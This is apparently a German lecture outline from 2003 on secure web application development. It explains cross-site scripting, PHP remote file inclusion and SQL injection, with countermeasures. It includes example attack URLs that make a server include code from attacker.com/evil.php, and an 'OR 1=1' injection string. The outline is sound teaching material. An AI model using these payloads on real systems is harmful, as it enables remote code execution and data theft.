Konstruktion sicherer Anwendungssoftware

“Cross Site Scripting (XSS)”

Stephan Uhlmann <su@su2.info>
1.7.2003

0. Gliederung

1. Was ist XSS?

2. Arten von XSS

3. Geschichte

4. Im Detail

5. Quellen

1. Was ist XSS?

- Manipulation von Daten die ein Benutzer an eine Web-Anwendung übermittelt

- Dadurch: Einbettung schädlichen Programmcodes in eine für den Benutzer normalerweise korrekte Umgebung, Kontrolle über das Programm

- Ziel: Ausspähen und Manipulation von Benutzerdaten, Ausführen beliebigen Codes

2. Arten von XSS

- Client: Einbettung von schädlichen Programmcode in Webseiten

- Server: Ausführen von fremden Skripten

- Server: SQL-injection

3. Geschichte

- relativ neu, CA-2000-02: kein konkreter Angriff bekannt

- mit der Zeit wachsendes Verständnis der Technik und der versch. Angriffsmöglichkeiten

- 2002: rapider Anstieg der gefundenen Sicherheitslücken

- ICAT Metabase des NIST: 1999: 2, 2000: 4, 2001: 25, 2002: 99, 2003 (1.7.): 37

4.1. Im Detail: Einbettung von schädlichen Programmcode in Webseiten

- Übergabe von Javascript in GET-Parameter in einer URL
- Skript auf Webserver gibt Parameter ungefiltert aus
- Browser führt Javascript aus
- Gefahr: Cookie-Klau -> Übernahme von Sessions

- kann in Links (Klick), Image-Tags (autom. Ausführung) usw. eingebaut werden

- Angriffsziele: Foren, Gästebücher, Suchmaschinen, 404-Seiten, Webmailer

- Schutzmaßnahmen:

  – Benutzereingaben prüfen (auch Cookies!), Filterung von akzeptablen Werten (z.B. fest definierter Wertebereich)

  – Sonderzeichen vor Ausgabe konvertieren (wichtig: Festlegung des character sets um Sonderzeichen zu identifizieren)

4.2. Im Detail: Ausführen von fremden Skripten

- PHP include() erlaubt das Laden externer Dateien von anderen Servern

- Bsp. Navigations-Framework:
  http://foo.bar/index.php?file=start.html -> include($file)
  http://foo.bar/index.php?file=http://attacker.com/evil.php

- Bsp. Überschreiben von globalen Variablen:
  http://foo.bar/index.php?file=plugin.php
  plugin.php: include($fnord), $fnord normalerweise durch index.php gesetzt
  http://foo.bar/plugin.php?fnord=http://attacker.com/evil.php

- HTTP GET Anfrage an Fremd-Server

- Ergebnis wird anstelle des include() in das Skript eingebaut

- Ausführung beliebiger Befehle des Angreifers

- Schutzmaßnahmen:

  - Benutzereingaben prüfen, Filterung von akzeptablen Werten (z.B. fest definierter Wertebereich)

  - PHP: register_globals off (verhindert Überschreiben der Variablen), safe_mode on

4.3. Im Detail: SQL-injection

- http://foo.bar/search.php?name=Skywalker
- SELECT * FROM mitarbeiter WHERE name='Skywalker'
- http://foo.bar/search.php?name=egal'%20OR%201=1
- SELECT * FROM mitarbeiter WHERE name='egal' OR 1=1

- Schutzmaßnahmen:
  - Benutzereingaben prüfen, Filterung von akzeptablen Werten (z.B. fest definierter Wertebereich)
  - besondere Zeichen (Komma, Semikolon, Anführungszeichen) quoten
  - Trennung von internen und öffentlichen Daten

5. Quellen

- CERT Advisory CA-2000-02: “Malicious HTML Tags Embedded in Client Web Requests”
  `http://www.cert.org/advisories/CA-2000-02.html`

- “The Cross Site Scripting FAQ”
  `http://www.cgisecurity.com/articles/xss-faq.shtml`

- Stefan Krecher, “XSS for fun and profit”, Chemnitzer Linux-Tag 2003
  `http://www.tu-chemnitz.de/linux/tag/lt5/vortraege/detail.html?index=70`

- “Understanding Malicious Content Mitigation for Web Developers”
  http://www.cert.org/tech_tips/malicious_code_mitigation.html

- NIST: ICAT Metabase (CVE Datenbank)
  http://icat.nist.gov/